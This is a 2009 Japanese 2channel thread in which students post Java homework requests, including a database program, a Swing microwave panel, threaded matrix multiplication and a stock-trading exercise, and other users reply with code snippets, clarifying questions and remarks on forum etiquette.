754デフォルトの名無しさん:2009/06/20(土) 13:46:39
【 課題 】データベースプログラミングT 課題6-6(長いので↓に)
      http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/714.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】5. その他 コマンドライン状で動作するもの
【 期限 】6月22日 10:00
【 Ver  】1.6.0_11
【 用語 】特になし
【 補足 】ソース内のコメントはしっかり書くようにいわれました。
      丸投げです。宜しくお願いします。
755デフォルトの名無しさん:2009/06/20(土) 14:12:58
>>750
簡単に言うと文字列からURLをを除去したいということです
756デフォルトの名無しさん:2009/06/20(土) 15:38:00
>>755
オマエの「URL」の定義はおかしいようだ。
757デフォルトの名無しさん:2009/06/20(土) 17:23:42
>>749
「突合せ処理」は「コントロールブレイク」とも呼ばれていて、
よく使われる処理としか知りません。

結果のバグは、こちらの入力ミスです
> 001 沖縄 支店 出力日(出力した日)  P.2

正しくは 
> 002 沖縄 支店 出力日(出力した日)  P.2
です。
758デフォルトの名無しさん:2009/06/20(土) 17:32:16
>>757
>「突合せ処理」は「コントロールブレイク」とも呼ばれていて、
そんなバカな
759デフォルトの名無しさん:2009/06/20(土) 21:50:35
>>748
入力の書式わかんねえ
760デフォルトの名無しさん:2009/06/20(土) 22:21:59
>>750

import java.util.regex.Pattern;
import java.util.regex.Matcher;

class RemoveCharURL {
public static void main(String[] args) {
Pattern p = Pattern.compile("@[a-zA-Z]*|h?ttp://[a-z]+\\.[a-z/]+");
Matcher m = p.matcher("@test あいう@aaaおえてhttp://test.com/と");
String replaced = m.replaceAll("");

System.out.println(replaced);
}
}
761デフォルトの名無しさん:2009/06/21(日) 00:09:31
>>760
オマエの「URL」の定義はおかしいようだ。
762デフォルトの名無しさん:2009/06/21(日) 00:11:11
>>748
もうちょっと仕様をきっちりしないと誰もやってくれんぞ
763デフォルトの名無しさん:2009/06/21(日) 00:55:01
>>748です
仕様を書き直したのをUPしました。
不透明な仕様で申し訳ありませんでした。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/716.txt
よろしくお願いします。
764デフォルトの名無しさん:2009/06/21(日) 01:07:57
全然直ってないんだけど
765デフォルトの名無しさん:2009/06/21(日) 07:56:43
>>764
宿題のプリントに書いてあることはこれが全てなんです
766デフォルトの名無しさん:2009/06/21(日) 09:43:01
>>765
どう書かれているかともかく、オマエが理解が足りなすぎる。
767デフォルトの名無しさん:2009/06/21(日) 14:29:05
>>765
http://pc12.2ch.net/test/read.cgi/tech/1242876647/257
のように変えたらどうなんだろう?
768デフォルトの名無しさん:2009/06/21(日) 19:40:47
769HBK:2009/06/21(日) 21:09:09
aa
770デフォルトの名無しさん:2009/06/21(日) 21:26:16
>>767
問題かえちゃダメだろう。
771デフォルトの名無しさん:2009/06/21(日) 21:28:16
>>765
まじめな話、

001 東京 20090601 0001 田中商店  1000
001 東京 20090602 0001 田中商店  5000
001 東京 20090603 0001 田中商店  10000
001 東京 20090601 0002 山田スーパー  3000
002 沖縄 20090604 0001 沖縄商店  7000


@支店コード(数値3byte)
A支店名(文字10byte)
B販売日(yyyymmdd)
C販売先コード(数値6byte)
D販売先名(文字30byte)
E売上金額(数値8byte)

合ってないんだけど。
772デフォルトの名無しさん:2009/06/21(日) 22:04:36
@ A  B   C   D     E
001 東京 20090601000001 田中商店  1000
001 東京 20090602000001 田中商店  5000
001 東京 20090603000001 田中商店  10000
001 東京 20090601000002 山田スーパー  3000
002 沖縄 20090604000001 沖縄商店  7000

上の番号@の下にある001〜002が支店コードになり、
Aの下の東京〜沖縄が支店名になります。
B販売日(yyyymmdd)とC販売先コード(数値6byte)が0で繋がっていました。

プログラム完成後、入力ファイルのデータを変えてもきちんと動くか
テストをすると言ってました。
773デフォルトの名無しさん:2009/06/21(日) 22:07:59
すみません、上の番号がずれていました。

@ A   B   C      D     E
001 東京 20090601000001 田中商店  1000
001 東京 20090602000001 田中商店  5000
001 東京 20090603000001 田中商店  10000
001 東京 20090601000002 山田スーパー  3000
002 沖縄 20090604000001 沖縄商店  7000
774デフォルトの名無しさん:2009/06/21(日) 23:54:25
番号が…じゃなくて、もう前提が崩れちゃってるじゃないの。
そういう情報の後出しは手戻りを生むだけなんだって。

依頼するなら与えられた課題の情報をas-isで渡してほしい。
これは依頼する人みんなにお願い。
775デフォルトの名無しさん:2009/06/22(月) 00:16:33
そんなに丁寧にお願いなんてしなくていいじゃない。
依頼された情報だけでは足りないならやらなきゃいいだけのこと。
それとも課題やらないと死んじゃう人?
暇つぶしや勉強のためなら後出しで情報を出されても
やったものを出さなきゃいいだけのこと。
776デフォルトの名無しさん:2009/06/22(月) 00:42:40
>>754は誰かやらんのん
俺はSQLはよくわかんないんだよなあ……
777デフォルトの名無しさん:2009/06/22(月) 01:51:29
もっともそんなこととは露知らず奴の下へ去った後の
778デフォルトの名無しさん:2009/06/22(月) 06:17:25
>暇つぶしや勉強のため…(中略)…出さない
自分はこれだなぁ。作ったものを丸々出したことはほとんど無い。
せいぜい処理の一番難しいところだけとか。

754なんかはDBアクセスの基本だから勉強になるとおもう。
自分は無理やりViewーServiceーDaoにしたから鶏を裂くのに牛刀を用いるようなつくりだけどな(笑)
779デフォルトの名無しさん:2009/06/22(月) 13:37:32
743番の課題お願いします。今週期限切れます。すみませんが、お願いします。
780デフォルトの名無しさん:2009/06/22(月) 14:04:39
>>773
整列された入力ファイルが二つ以上ないと、「突合せ処理」には
ならないんだけどね。「突合せ処理を完了した入力ファイル」ならわかるが。
781Heaven:2009/06/22(月) 14:15:45
【 課題 】電子レンジのパネルようなものを作る
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing  GUIの課題です
【 期限 】24日
【 Ver  】1.6.0_04
【 補足 】
・タイマー ○○:○○
・open ←ボタン ・start  ←ボタン
・close ←ボタン ・stop  ←ボタン
・時計   ○○○○年
      ○○月○○日
      ○○時○○分
・プログレスバー

・時間になると画面表示が出る
・デザインは任意
・open closeボタンは押すと画面表示が出るような感じで

課題丸投げになります。すいませんがよろしくお願いします。
782デフォルトの名無しさん:2009/06/22(月) 16:14:03
【 課題 】3×3の行列が2つある。この行列のかけ算を求めるプログラムをスレッドで実現せよ。
(1)各要素の計算は、他の要素の計算を待たずに計算できる
(2)その各要素の計算をスレッドを用いて行う
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】6月25日正午
【 Ver  】java version "1.6.0_13"
【 補足 】この課題の第一段階として、行列のかけ算を普通に行うプログラムがありました。そのプログラムは
for(int i=0;i<3;i++){
for(int j=0;j<3;j++){
tmp=0;
for(int n=0;n<3;n++){
tmp+=A[i][n]*B[n][j];
}
C[i][j]=tmp;
このようにしました。

よろしくお願いします。
783デフォルトの名無しさん:2009/06/22(月) 19:05:18
>>782
どの方法でスレッドを扱うの?
784デフォルトの名無しさん:2009/06/22(月) 19:09:32
>>780
もしかして、
コントロールブレイク = 突合せ処理
ではないんですか?
コントロールブレイク = 突合せ処理
マッチロジック = 照合処理
と教わったのですが
785782:2009/06/22(月) 19:55:11
>>783
スレッドにいくつも種類があるんですか!?

授業では、Threadクラスを拡張・Runnableインタフェースというのが出てきました。
786デフォルトの名無しさん:2009/06/22(月) 20:07:23
>>784
ググレカス
787デフォルトの名無しさん:2009/06/22(月) 20:08:03
>>785
executorとか使う方法もある。
788デフォルトの名無しさん:2009/06/22(月) 20:17:52
SQLで例えると、

突き合わせ処理 => JOINとかwhere句による結合処理
コントロールブレイク => GROUP BY

って感じで合ってる?
789782:2009/06/22(月) 20:59:07
Threadクラスを拡張かRunnableインタフェースの使用でよろしくお願いします。
790デフォルトの名無しさん:2009/06/22(月) 22:10:13
>>788
まあ、それに近い。
791754:2009/06/22(月) 23:08:25
>>754です。
締め切りを水曜のAM10:00まで伸ばして頂いたので、
引き続き宿題をお願いしたいです。
一応、自分なりに途中まで書いたソースコード(検索機能の途中までですが…)と、
課題の仕様に沿って作ったテスト用のDBのsqlファイルを準備してみましたのでUPしておきます。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/718.zip
どうか宜しくお願いします。
792733:2009/06/23(火) 00:01:54
>>733です。土曜と月曜に学校で課題をやってきたんですがうまくいきませんでした
どなたか力を貸してください。よろしくお願いします
29日期限ですが29日に出せないんで実質今週金曜が期限という感じです
793デフォルトの名無しさん:2009/06/23(火) 02:02:00
>>782 こんなでどうだろ?
public class MainClass implements Runnable{
static java.util.concurrent.Semaphore s = new java.util.concurrent.Semaphore(9);
static int A[][]={{1,2,3},{4,5,6},{7,8,9},};
static int B[][]={{1,0,0},{0,1,0},{0,0,1},};
static int C[][]={{0,0,0},{0,0,0},{0,0,0},};
public static void main(String[] args) {
for(int i=0;i<3;i++){
for(int j=0;j<3;j++){
MainClass ht = new MainClass(i,j);
Thread t = new Thread(ht);
try{s.acquire();}catch(Exception e){e.printStackTrace();}
t.start();
}
}
try{s.acquire(9);}catch(Exception e){e.printStackTrace();}
for(int i=0;i<3;i++){
for(int j=0;j<3;j++)System.out.print(C[i][j]+",");
System.out.println();
}
}
private int i;private int j;
public MainClass(int i,int j){
this.i=i;this.j=j;
}
public void run(){
int tmp=0;
for(int n=0;n<3;n++)tmp+=A[i][n]*B[n][j];
C[i][j]=tmp;
s.release();
}
}
794デフォルトの名無しさん:2009/06/23(火) 18:24:48
>>666ダメですか?
795デフォルトの名無しさん:2009/06/23(火) 18:31:51
>>794
催促しないで待っていなさい。
796デフォルトの名無しさん:2009/06/23(火) 18:39:42
わかりました、すいません
797デフォルトの名無しさん:2009/06/23(火) 18:47:36
>>782 レスからみてconcurrentパッケージを知っている気がしないので。
public class R782 {
public static void main(String[] args) {
double[][] a = {{1, 2, 3}, {2, 3, 1}, {2, 1, 2}};
double[][] b = {{1, 2, 1}, {0, 1, 2}, {2, 1, 1}};
MatrixElementMultiplicator[][] thread = new MatrixElementMultiplicator[a.length][b[0].length];
for (int i = 0; i < a.length; i++) for (int j = 0; j < b[0].length; j++) {
thread[i][j] = new MatrixElementMultiplicator(a, b, i, j); thread[i][j].start();
}
double[][] c = new double[a.length][b[0].length];
for (int i = 0; i < a.length; i++) for (int j = 0; j < b[0].length; j++) {
try { thread[i][j].join(); } catch (InterruptedException e) {}
c[i][j] = thread[i][j].getProduct();
}
printMatrix(a); printMatrix(b); printMatrix(c);
}
private static void printMatrix(double[][] x) {
for (int i = 0; i < x.length; i++) { for (int j = 0; j < x[0].length; j++) System.out.printf("%f ", x[i][j]); System.out.println(); }
System.out.println();
}
}
class MatrixElementMultiplicator extends Thread {
private double[][] a, b; private int row, column; private double product;
public MatrixElementMultiplicator(double[][] a, double[][] b, int row, int column) {
this.a = a; this.b = b; this.row = row; this.column = column;
}
@Override public void run() { product = 0; for (int i = 0; i < b.length; i++) product += a[row][i] * b[i][column]; }
public double getProduct() { return product; }
}
798デフォルトの名無しさん:2009/06/23(火) 19:04:51
【 課題 】座標を表す Point クラスと、Pointクラスを利用して三角形を表す Triangleクラスを作成せよ。各クラスで定義すべきフィールド、コンストラクタやメソッドは次のファイルに書いてある。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/719.txt
これ以外にも必要に応じて、フィールド、コンストラクタやメソッドを作成してもよい。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】提出期限:2009.6.24
      解答希望日:2009.6.24
【 Ver  】1.6.0_14
【 用語 】
【 補足 】フィールド、コンストラクタ、メソッドに対して適切なアクセス修飾子(public または private)を設定せよ。
丸投げですがよろしくお願いします。
799デフォルトの名無しさん:2009/06/23(火) 19:26:02
さすがに798レベルになるとどうして自分でやらないのか気になるわ。
言語なんて取りたくも無いのになんで必修なの! とかいうくち?
800798:2009/06/23(火) 19:46:02
>799

すみません(´・ω・`)
javaはほとんど学んでなくて唐突に出されたもので…
一応自力でも参考書片手に頑張ってはみているのですが
どうも理解できない為こちらでお願いしたのですが…。
801デフォルトの名無しさん:2009/06/23(火) 19:55:47
あー、すまない。
責めるつもりは全くないから気分を悪くしたなら謝る。
純粋に理由が気になっただけなんだ。

数学系の課題の依頼ってそういう「いきなり」のが多い気がするなぁ。
まあ大学なら自分で調べてやれ! がデフォだからいいのかもな。

今かりかり書いてるからちょいまってなー。
802デフォルトの名無しさん:2009/06/23(火) 21:34:24
>>791
自分にとってもいい機会なので、カリカリやってるから待っててね
803デフォルトの名無しさん:2009/06/23(火) 21:46:28
>>798
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/721.zip

はいよ、おまたせ。中身はちゃんと見直すように−。
804798:2009/06/23(火) 22:28:50
>803

ありがとうございます
中身も丁寧で大変参考になりました
これを機会にきちんとjavaを学んでみようと思います!
805RVD:2009/06/23(火) 22:30:28
課題:Javaで株の売買プログラム http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/720.txt 形態:Javaアプリケーション 期限:6月24日 補足:1,CSVファイルで自分が気になっている株の情報を入力する(csvファイルで株情報を入力するクラス)
2:CSVファイルで購入金額を決め注文をする(KabuMapクラス) 3:売買判断を行ない、結果をファイルに書き出す(Strategyクラス)
4:株情報を更新する
どなたかこんな感じで作って下さい? どうぞ宜しくお願い致します。
806デフォルトの名無しさん:2009/06/24(水) 01:25:14
>>805
>>1
;-)
807デフォルトの名無しさん:2009/06/24(水) 03:12:53
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/722.txt
      http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/723.zip
【 形態 】1. Javaアプリケーション
【 GUI  】その他(与えられたものに追加する)
【 期限 】6月25日12:00
【 Ver  】java version "1.6.0_11"
【 補足 】丸投げですがよろしくお願いします。
sListを保存すればいいというのはわかったのですが、
どう手をつけていいのかわかりませんでした・・・。
808Heaven:2009/06/24(水) 13:29:20
【 課題 】電子レンジのパネルようなものを作る
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing  GUIの課題です
【 期限 】26日 12:00
【 Ver  】1.6.0_04
【 補足 】
・タイマー ○○:○○
・open ←ボタン ・start  ←ボタン
・close ←ボタン ・stop  ←ボタン
・時計   ○○○○年
      ○○月○○日
      ○○時○○分
・プログレスバー

・デザインは任意
・open closeボタンは押すと画面表示が出るような感じで

課題丸投げになります。すいませんがよろしくお願いします。
809Heaven:2009/06/24(水) 13:32:24
2chには素晴らしい人たちがたくさんいると思っていましたが...この課題はずっと前からアップしていましたが、2chではできる人がいないですかね?期限がそろそろ切れますので、よろしくお願いします。
810デフォルトの名無しさん:2009/06/24(水) 13:39:26
>>809
そうですね。
だれもやりません。
811Heaven:2009/06/24(水) 14:16:37
なんでですか?理由があるはずじゃないですか?
812デフォルトの名無しさん:2009/06/24(水) 15:28:44
たいした理由はないけど、
おもに、オマエが宿題の内容もちゃんと聞いてこなかったからじゃね。
813デフォルトの名無しさん:2009/06/24(水) 17:46:13
>>808

出来ないと思われたくないなぁ。問題文を自分なりに解釈してプログラム書いたけど、
君の丸投げをうpする気にはならない。
814デフォルトの名無しさん:2009/06/24(水) 17:58:23
丸投げにするのはかまわないんだけど、具体性が無さ過ぎて、やる気がそそられないというか。
815デフォルトの名無しさん:2009/06/24(水) 18:28:17
回答がないのなら依頼した人間にとっては出来ないもやりたくないも同じこと。
わざわざ理由を言ったりして相手にせずに気に入らない課題はスルー。
回答しない理由がどうであれ回答の義務自体ないことを依頼する側は理解するべき。
催促しなくてもやる気のある人間がいれば回答はつくだろうし、
回答されないからといって煽ったところで状況は逆に悪くなる可能性が高いだろう。
816デフォルトの名無しさん:2009/06/24(水) 18:35:39
>>815
うざいよ
817デフォルトの名無しさん:2009/06/24(水) 18:42:02
>>808はまかせたwwwwwww
818デフォルトの名無しさん:2009/06/24(水) 18:47:20
>>817
意味不明すぎてムリ。
819デフォルトの名無しさん:2009/06/24(水) 19:16:25
電子レンジに時計はいらんだろ。(タイマーに時刻はいらんだろう)
820デフォルトの名無しさん:2009/06/24(水) 19:48:47
>>819
そういや、大昔は手回し式のタイマーだったな。
821デフォルトの名無しさん:2009/06/24(水) 19:49:53
書き込み主が悪いんじゃない
出題者がいい加減なんだ
主は全文写してると思うよ
ソースは俺
822デフォルトの名無しさん:2009/06/24(水) 20:02:22
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/724.zip
【 形態 】Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】6月25日AM7時まで
【 Ver  】1.6.0_13

748です。
前回は、私自身の理解不足で課題の説明が上手くできず、すみませんでした。
明日の朝まで提出期限を延ばしてもらい、自分で途中まで書きました。
ですが、エラーが出て、出力ファイルが出力されません。
できればこの途中のソースを完全なソースにしてほしいですが、
丸投げの方が解きやすければ、丸投げでお願いします。
問題文は、Wordで貰ったのをそのまま添付しています。
図も付いているので、以前載せた問題よりも解りやすいと思います。
何とかお力を貸していただけませんでしょうか。
よろしくお願いします。
823デフォルトの名無しさん:2009/06/24(水) 20:07:28
>>822

またこれ?

俺の環境だけか?ZIPが予期しない書庫の終わりとなるんだが・・・・
824デフォルトの名無しさん:2009/06/24(水) 20:19:26
>>823
うちも、空っぽのディレクトリがつくられるだけ。
825デフォルトの名無しさん:2009/06/24(水) 20:40:18
ここに出てきてる課題は意味がわからない(仕様未確定、理数の○○法など)のを除けば
構造自体はそんなに難しくはないと思う。
やっても(結果をUPしても)いいと思う人がどれだけいるか、じゃないかなぁ。
826デフォルトの名無しさん:2009/06/24(水) 20:53:36
>>823
>>824

すみません。
圧縮がきちんとできていませんでした。

課題の概要をlzhに
途中まで書いたソースを1つのテキストファイルにまとめてUPしました。


http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/731.txt
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/729.lzh
827デフォルトの名無しさん:2009/06/24(水) 20:55:04
>>826

もういいよ・・・・うpしても誰も解かない
828デフォルトの名無しさん:2009/06/24(水) 21:13:43
色々と思うところもあるんだけどさ、

> throw new ArrayIndexOutOfBoundsException()
これはさすがに斬新すぎるだろう。
829733:2009/06/24(水) 22:39:40
>>733なのですが締切が6月29日から26日になったみたいです。できれば25日までにお願いしたいです
2つ目の課題は余り1の場合の課題ですと書いてあったんですが余り2の場合でお願いします
830デフォルトの名無しさん:2009/06/24(水) 23:30:05
>>826
思うに10bytes読み込んでその中に漢字が入っているかもしれないってのは
処理がややこしいんじゃないかな
831デフォルトの名無しさん:2009/06/24(水) 23:36:04
10byteのところを漢字5文字に決めうちしてしまえば簡単なんじゃないかな
832754 791:2009/06/25(木) 00:12:55
>>754かつ>>791です。
>>802さん
ありがとうございます!一応自分でも頑張ってみます!

というわけで自分なりに色々やってみた結果締め切りを明日の夕方まで延ばしてもらえたついでに、
改めて宿題お願いをしたいと思います。

【 課題 】データベースプログラミングT 課題6-6(長いので↓に)
      http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/714.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】5. その他 コマンドライン状で動作するもの
      追加課題はSwing、またはJavaアプレット
【 期限 】6月26日 10:00
【 Ver  】1.6.0_11
【 用語 】特になし
【 補足 】ソース内のコメントはしっかり書くようにいわれました。
      
       自力で追加挿入機能まで拙いながらコーディングしてみたので、
       それ以降の機能をお願いしたいと思います。
       簡単な概要としては上記の課題テキストと、以下のようになります。
       http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/734.txt

       そこまでのソースコードと、テスト用のDBのsqlファイルはこちらになります。
       http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/733.zip
      
       削除機能の締め切り 6/25 10:00
       変更機能の締め切り 6/25 16:00
       追加課題の締め切り 6/26 10:00

三度のお願いと厚かましい事をしているとは思いますが、
どうかよろしくお願いします……      
833デフォルトの名無しさん:2009/06/25(木) 00:16:34
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/732.txt

【 形態 】1. Javaアプリケーション(main()で開始

【 GUI  】4. 制限なし
      
【 期限 】6/28 まで

【 Ver  】1.6.0_11

【 補足 】補足などは全部上のテキストの中にいれときました。
      自分なりにやってみましたがどこから手をつけていいのかわかりません。
      もし時間があればお願いいたします。
834デフォルトの名無しさん:2009/06/25(木) 01:30:46
808の補足
スタートボタンを押すと、ゼロになるまでカウントダウンする。単位は秒です。
ストップを押すと、途中で止まる。
オープンとクローズはドアの開閉状態を表示する。
ディジタル時計は常に最新時刻を表示する。
835デフォルトの名無しさん:2009/06/25(木) 02:59:35
808は掴みがよくねーなーw
電子レンジのパネルなんて機種によって違うし、それこそ育った家によってイメージする物がちがうでしょ。

それなのにそういう一般性の無い例を出されると、問題を解こうという方向に思考が働かなくて
結局世間知らずの厨がただ○投げしてる図ばっかりうかんできちゃって
やるきなくなるんだよなー。

やるなら、もっと人に分かりやすく、魅力的に書かなきゃ。
836デフォルトの名無しさん:2009/06/25(木) 05:43:36
>>809
どうしてもこういうスレは
ちがっては投げ、ちぎっては投げと、そういう風に「簡単にできるぜ」と
自慢したい人が待機している。ちぎって投げられないタイプの質問は
敬遠される。
837デフォルトの名無しさん:2009/06/25(木) 10:55:46
>>826
途中までやった。完成させてくれ。動くかどうかは知らぬ
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/735.java
838デフォルトの名無しさん:2009/06/25(木) 10:57:11
宿題スレの依頼者はアホとは分かっているが、物事には限度がある。
839733:2009/06/25(木) 11:13:23
>>733です。何度もレスして申し訳ないんですが
al2-2009-07のスライドの中にエラーがあったらしく、訂正版を
ttp://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0043.zip
に上げました。Tool.javaに抜けている記述がありました
840743:2009/06/25(木) 18:48:52
丸投げしたものですが問題文がわかりずらいようでごめんなさい。
簡単なもので大丈夫です。
start stopでタイマーとプログレスバーが動き
open closeでレンジが開く画像と閉まる画像が表示されるような、
電子レンジのようなものになれば大丈夫です。
提出は明日なんでできればどなたかお願いします。

>>743 以降同じ課題を何度か投げているのは別人ですが、何度も質問した人が
いたようで失礼しました。おそらく同じ大学でしょうが。

それと何度も同じ質問書き込むなよ
841837:2009/06/25(木) 20:44:44
>>826 改良した。test.txtがデータで、test2.txtが結果
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/736.lzh
842デフォルトの名無しさん:2009/06/25(木) 22:00:13
いやはや、こうやってスレで相手にされないような課題を考えたと思うと頭が下がりますな
843デフォルトの名無しさん:2009/06/26(金) 01:26:00
>>743
自演お疲れ様でっす!
844デフォルトの名無しさん:2009/06/26(金) 05:10:45
ググれば出てきそうな程ありがちな問題だな。
845デフォルトの名無しさん:2009/06/26(金) 07:42:48
依頼を受けるとその分だけ依頼人の学ぶ機会を奪ってることになるからな。
そもそも言語なんてどうでも…って人も居るんだろうけどね。
846デフォルトの名無しさん:2009/06/26(金) 09:46:59
学ぶ機会を奪うとか聞こえはいいけどこのスレじゃただの的外れだろ?
依頼者はテンプレに沿って宿題を投げる
住人は勝手に宿題をこなす
依頼者はやって貰えたら礼を言う、やってもらえなくても泣かないし文句も言わない
質問があるなら質問スレへ

それがこのスレの全てじゃないの?
847デフォルトの名無しさん:2009/06/26(金) 10:31:05
>>846
基本的にjavaスレで一番バカな質問を受け流すためのハコ
このスレがあるから他のスレでは宿題丸投げは拒否される。
848デフォルトの名無しさん:2009/06/26(金) 12:24:33
イタズラしてるバカが居るらしくうpろだに上げて書こうとすると拒否られて捨て。
849826:2009/06/26(金) 23:02:48
>>837
ありがとうございます。
自分で書いたソースは、途中までは動かすことができたのですが、
837さんのソースを参考に書き直したら、きちんと動くことができました。
色々とご迷惑をお掛けしてしまったのに、依頼を受けていただき
ありがとうございました。
850754:2009/06/27(土) 00:17:52
>>754>>791>>832です。
〆切を延ばして頂いたとはいえ、なんだかんだで自力で全部作りあげてしまいました。
もしかしたら私の課題に着手して頂いている方がいるかもしれませんので報告させて頂きます。
ありがとうこざいました。
851RVD:2009/06/27(土) 16:31:36
【 課題 】Javaで株の売買プログラムを作る
      http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/738.txt

【 形態 】1. Javaアプリケーション(main()で開始)

【 期限 】6月28日まで

【 Ver  】1.6.0_04


【 補足 】途中まで作ったのですが、分らなくなってしまったので、お願い致します。
      丸投げですが、 どうぞ宜しくお願い致します。
852デフォルトの名無しさん:2009/06/27(土) 17:15:34
>>851

>>1 を読め。
そのソースコードらしきものが課題として渡された文章(仕様書)の全てなのか?
853RVD:2009/06/27(土) 17:44:36
説明不足、申し訳ございません。

仕様書

kabu.javaでユーザーが、株情報をCSVファイルに入出力。

クラスKabu.MapでCSVを読み込む。(株の値段を決めて注文をする)

ReadCSVで株情報を読みこんで中身を確認する。

クラス Strategyで売却操作をおこなう。(買った値段の1.05また0.95倍になったら売却する)


仕様書はこれだけです。よろしくお願い致します。
854デフォルトの名無しさん:2009/06/27(土) 18:18:19
>>853

> Kabu.java
株情報って何だ?
保有株なのか市場の情報なのか、それともそれ以外?

あと、入出力ってことは、入力と出力の両方が有るんだよな。
csvへの出力機能はあったが、入力は書かれていない。
何をどこから読み込む処理が有るのか?


> csvファイルのフォーマット
3ファイルほどcsvが有るみたいだが、それぞれのcsvのフォーマットは?
(kabu.csv、mochikabu.csv、shijyo.csv)

>売買の仕様
売買、特に買いの仕様は?
市場価格で買うのか、指定価格で買うのか、取引の成立/不成立に何か制限はあるのか。
例えば東証の情報で大証の取引してもいいのか?
855RVD:2009/06/27(土) 18:34:21
kabu.javaの株情報は自分が持っている株情報です。
入力はまだ書いていません。

フォーマットもまだ作っていません。

買いの仕様は特にありません。
東証の情報でお願い致します。

宜しくお願い致します。
856デフォルトの名無しさん:2009/06/27(土) 23:56:37
【 課題 】百ます計算プログラムの作成
足す数、足される数は実行毎にランダムな順番にする。
スタートボタンを押すと同時に問題が表示され、答えをキー入力しおわるとストップボタンを押す。
終了までの時間と、正解数を表示する。
【 形態 】2. Applet
【 GUI  】2. Swing
【 期限 】7月1日正午
【 Ver  】1.6.0_04
857デフォルトの名無しさん:2009/06/27(土) 23:59:38
ランダムじゃ百ますじゃないんじゃね?
858857:2009/06/28(日) 00:01:59
ああ、実行毎を勘違いしてたかも
859デフォルトの名無しさん:2009/06/28(日) 09:53:00
>>856
数字の上限は?
6桁数字のの100マス計算とか、誰もやらないだろ。
860856:2009/06/28(日) 11:37:17
>>857-859

ランダムというのは0〜9もしくは1〜10までの配置です。
毎回同じ問題にならないように、実行毎に順番をランダムにしたいのです。
861514:2009/06/28(日) 15:22:05
>>733
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/739.zip

例によって適当です。
すべての課題を一応作ってるので、必要なとこだけ使ってください。
862733:2009/06/28(日) 15:57:33
>>861
いつもいつもありがとうございます。感謝します
今回の課題はなんとか頑張ってやって金曜に提出することができました。期限が変わったもので
自分が作ったものだとPaser.java内のget.Token()を一部消さないと動かなかったり
ToolPrimAbsの書き方とか違ったりしたんで作っていただいたプログラムを参考にさせてもらいます
863833:2009/06/28(日) 20:11:24
すいません、期限が今日までなのでどなたかやっていただけると助かります・・・
864デフォルトの名無しさん:2009/06/28(日) 20:21:20
>>863
すいません、オブジェクト指向なのにstaticがmain()以外不可とか
オブジェクト指向なのに作成するクラス数が2つまでとか
とてもぼくでは太刀打ち出来ませんでした
865デフォルトの名無しさん:2009/06/28(日) 23:01:52
>>864
どこまでやって何が分からないんだ?
866デフォルトの名無しさん:2009/06/29(月) 00:30:32
>>864
クラス数が二つってソースファイルの数だと思うよ
867RVD:2009/06/29(月) 00:42:47
855です。明日の午後に課題を提出しなければいけないので、
作成されたソースコードを参考にさせて頂いてもよろしいいでしょうか?
868デフォルトの名無しさん:2009/06/29(月) 05:57:53
869デフォルトの名無しさん:2009/06/29(月) 10:31:50
>>867
日本語でおk?
870514:2009/06/29(月) 10:40:21
>>862
> 自分が作ったものだとPaser.java内のget.Token()を一部消さないと動かなかったり

俺も消したよ。
出題者側のミスとみた。
871733:2009/06/29(月) 14:39:10
>>870
そうなんですか。組み込み関数の定義の途中で止まっちゃうから怪しいget.Token()をいろいろ消しながら試していたらできたんで運良かったです
pdfの中身が無茶苦茶なのはミスではなくて仕様みたいです。他にも修正箇所だらけでおかしいなとは思ってたんですが
872RVD:2009/06/29(月) 16:43:12
もし作っていらっしゃる、プログラムが途中までか、完成しているなら、
見せて頂きたくと、ありがたいです。だめでしょうか?
宜しくお願い致します。
873デフォルトの名無しさん:2009/06/29(月) 17:25:48
>>872
ハンドルネームで書かれても・・スレ番で書いてよ・・
正直、君誰?
874RVD:2009/06/29(月) 17:32:53
すみません851です。
875デフォルトの名無しさん:2009/06/29(月) 18:35:52
>>874
見てみたけどこれを完成させるのは無理じゃないかなぁ。
どうみても仕様があやふや過ぎて作れないよ。
csvの仕様もわからない、入力処理の仕様もわからない、穴が有りすぎ。
876デフォルトの名無しさん:2009/06/29(月) 18:56:54
iText の質問もこちらで良かったですか?

モノクロの透過PNG(ビットの深さ=2)を getOverContent に addImage してますが
どうやらカラーとして扱われているぽいのです。
(複合機で印字するとカラーカウントされる)

PDF の中でモノクロと言い聞かせる方法はないでしょうか
文書全体を一括してモノクロ指定してしまう方法でも構いません。

印刷する側が、プリンタドライバで「モノクロ指定」する方法は避けたいです。
877デフォルトの名無しさん:2009/06/29(月) 19:03:54
>>876
【初心者】Java質問・相談スレッド128【歓迎】
http://pc12.2ch.net/test/read.cgi/tech/1246259368/
878833:2009/06/30(火) 01:08:29
>>868
本当にありがとうございます。
提出間に合いました。
879876:2009/06/30(火) 15:50:53
>>877
本当にありがとうございます。
提出間に合いました。
880デフォルトの名無しさん:2009/06/30(火) 19:12:05
881868:2009/07/01(水) 13:19:51
>>878
間に合ったんかいw
てか時間切れだろうしと思って特に何も書かなかったんだが、
